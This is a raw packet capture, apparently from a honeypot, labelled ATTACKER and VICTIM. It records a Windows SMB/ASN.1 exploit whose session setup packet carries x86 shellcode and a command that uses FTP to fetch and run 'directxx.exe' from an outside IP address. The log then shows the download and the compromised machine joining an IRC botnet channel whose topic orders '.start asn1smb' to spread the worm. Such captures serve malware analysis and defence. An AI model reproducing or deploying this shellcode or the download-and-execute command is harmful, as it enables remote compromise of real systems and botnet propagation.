ATTACKER: \000\000\000\205 ATTACKER: \377SMBr\000\000\000\000\030S\310\000\000\000\000\000\000\000\000\000\000\000\000\000\0007\023\000\000\000\000\000b\000\002PC NETWORK PROGRAM 1.0\000\002LANMAN1.0\000\002Windows for Workgroups 3.1a\000\002LM1.2X002\000\002LANMAN2.1\000\002NT LM 0.12\000 VICTIM: \000\000\000U\377SMBr\000\000\000\000\230S\310\000\000\000\000\000\000\000\000\000\000\000\000\000\0007\023\000\000\000\000\021\005\000\003\000\001\000\004\021\000\000\000\000\001\000\000\000\000\000\375\343\000\200\316\311wT\253S\310\001\340\001\000\020\000\376\270`_\\371M\225\361\311\274\016K\240, ATTACKER: \000\000\020\277 ATTACKER: \377SMBs\000\000\000\000\030\007\310\000\000\000\000\000\000\000\000\000\000\000\000\000\0007\023\000\000\000\000\014\377\000\000\000\004\021\000\000\000\000\000\000\000~\020\000\000\000\000\324\000\000\200~\020`\202\020z\006\006+\006\001\005\005\002\240\202\020n0\202\020j\241\202\020f#\202\020b\003\202\004\001\000AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\003\000#\202\014W\003\202\004\000\220B\220B\220B\220B\201\304T\362\377\377\374\350F\000\000\000\213E<\213|\005x\001\357\213O\030\213_ \001\353\343.I\2134\213\001\3561\300\231\254\204\300t\007\301\312\001\302\353\364;T\$\004u\343\213_\$\001\353f\213\014K\213_\034\001\353\213\034\213\001\353\211\\\$\004\3031\300d\213@0\205\300x\017\213@\014\213p\034\255\213h\010\351\013\000\000\000\213@4\005|\000\000\000\213h<_1\366`V\353h\357\316\340`h\230\376\212\016W\377\347\350\356\377\377\377cmd /k echo open 200.13.17.39 10666 > o&echo user 1 1 >> o &echo get directxx.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &directxx.exe\000BBBBBBBBBBBBBBBBBBBBBBBBB ATTACKER: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB#\003\010\000\370\017\001\000\370\017\001#\202\0109\003\202\004\021\000CCCC \360\375\177SVWf\201\354\200\000\211\346\350\355\000\000\000\3776h\t\022\326c\350\367\000\000\000\211F\010\350\242\000\000\000\377v\004hk\320+\312\350\342\000\000\000\211F\014\350?\000\000\000\377v\004h\372\227\002L\350\315\000\000\0001\333h\020\004\000\000S\377\320\211\303V\213v\020\211\307\271\020\004\000\000\363\244^1\300PPPSPP\377V\014\213F\010f\201\304\200\000_^[\377\340`\350#\000\000\000\213D\$\014\215X|\203C<\005\201C(\000\020\000\000\201c(\000\360\377\377\213\004\$\203\304\024P1\300\3031\322d\3772d\211\1\333\270\220B\220B1\311\261\002\211\337\363\257t\003C\353\363\211~\020d\217\002Xa\303`\277 \360\375\177\213\037\213F\010\211\007\213\177\370\201\307x\001\000\000\211\3719\031t\004\213\t\353\370\211\3729Z\004t\005\213R\004\353\366\211\021\211J\004\306C\375\001a\303\241\014\360\375\177\213@\034\213X\010\211\036\213\000\213@\010\211F\004\303`\213l\$(\213E<\213T\005x\001\352\213J\030\213Z \001\353\3438I\2134\213\001\3561\3771\300\374\2548\340t\007\301\317\001\307\353\364;|\$\$u\341\213Z\$\001\353f\213\014K\213Z\034\001\353\213\004\213\001\350\211D\$\034a\302\010\000\353\376CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC ATTACKER: CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC#\202\004 \003\t\000\353\006\220\220\220\220\220\220\003\202\004\021\000DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD\000\000\000\000\000\000 VICTIM: \000\000\000#\377SMBs\005\000\000\300\230\007\310\000\000\000\000\000\000\000\000\000\000\000\000\000\0007\023\000\000\000\000\000\000\000 ATTACKER: 220 NzmxFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,154,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR directxx.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK USA|00|XP|SP0|L|977199USER ovhcht 0 0 :USA|00|XP|SP0|L|977199 ATTACKER: :irc4.kid.de NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc4.kid.de 001 USA|00|XP|SP0|L|977199 :Welcome to the cyberkid IRC Network USA|00|XP|SP0|L|977199!ovhcht@192.168.1.154:irc4.kid.de 002 USA|00|XP|SP0|L|977199 :Your host is irc4.kid.de, running version Unreal3.2.4:irc4.kid.de 003 USA|00|XP|SP0|L|977199 :This server was created Fri May 23 2008 at 02:53:06 CEST:irc4.kid.de 004 USA|00|XP|SP0|L|977199 irc4.kid.de Unreal3.2.4 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc4.kid.de 005 USA|00|XP|SP0|L|977199 CMDS=KNOCK,MAP,DCCALLOW,USERIP SAFELIST HCN MAXCHANNELS=50 CHANLIMIT=#:50 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server:irc4.kid.de 005 USA|00|XP|SP0|L|977199 WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=cyberkid CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server:irc4.kid.de 251 USA|00|XP|SP0|L|977199 :There are 5044 users and 15034 invisible on 5 servers:irc4.kid.de 252 USA|00|XP|SP0|L|977199 12 :operator(s) online:irc4.kid.de 253 USA|00|XP|SP0|L|977199 2 :unknown connection(s):irc4.kid.de 254 USA|00|XP|SP0|L|977199 10 :channels formed:irc4.kid.de 255 USA|00|XP|SP0|L|977199 :I have 16034 clients and 1 servers:irc4.kid.de 265 USA|00|XP|SP0|L|977199 :Current Local Users: 16034 Max: 19988:irc4.kid.de 266 USA|00|XP|SP0|L|977199 :Curr ATTACKER: ent Global Users: 20078 Max: 27010:irc4.kid.de 375 USA|00|XP|SP0|L|977199 :- irc4.kid.de Message of the Day - :irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- 11/5/2008 12:34:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- Is this like a clan?:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- No. We are not a clan. We do not rely on any external organizations,:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- ladders, clubs, or groups for this tournament. BFE has its own schedule,:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- servers, administrators, forums, and armies - everything needed to run:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- independently and entirely on its own. Individuals and members of clans:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- are welcomed to join!:irc4.kid.de 372 USA|00|XP|SP0|L|977199 :- :irc4.kid.de 376 USA|00|XP|SP0|L|977199 :End of /MOTD command.:USA|00|XP|SP0|L|977199 MODE USA|00|XP|SP0|L|977199 :+iwx VICTIM: USERHOST USA|00|XP|SP0|L|977199 VICTIM: MODE USA|00|XP|SP0|L|977199 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|977199MODE USA|00|XP|SP0|L|977199 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|XP|SP0|L|977199MODE USA|00|XP|SP0|L|977199 -xt+iBJOIN ##FigaX## s33R09 ATTACKER: :irc4.kid.de 302 USA|00|XP|SP0|L|977199 :USA|00|XP|SP0|L|977199=+ovhcht@192.168.1.154 ATTACKER: :irc4.kid.de NOTICE USA|00|XP|SP0|L|977199 :BOTMOTD File not found:USA|00|XP|SP0|L|977199 MODE USA|00|XP|SP0|L|977199 :-x+B:USA|00|XP|SP0|L|977199!ovhcht@192.168.1.154 JOIN :##FigaX##:irc4.kid.de 332 USA|00|XP|SP0|L|977199 ##FigaX## :.start asn1smb 30 5 0 x.x.x.x -s:irc4.kid.de 333 USA|00|XP|SP0|L|977199 ##FigaX## ZZyZZ 1220452728:irc4.kid.de 353 USA|00|XP|SP0|L|977199 @ ##FigaX## :USA|00|XP|SP0|L|977199 ~ZZyZZ @wizard @mc :irc4.kid.de 366 USA|00|XP|SP0|L|977199 ##FigaX## :End of /NAMES list.:irc4.kid.de 302 USA|00|XP|SP0|L|977199 :USA|00|XP|SP0|L|977199=+ovhcht@192.168.1.154 :irc4.kid.de 302 USA|00|XP|SP0|L|977199 :USA|00|XP|SP0|L|977199=+ovhcht@192.168.1.154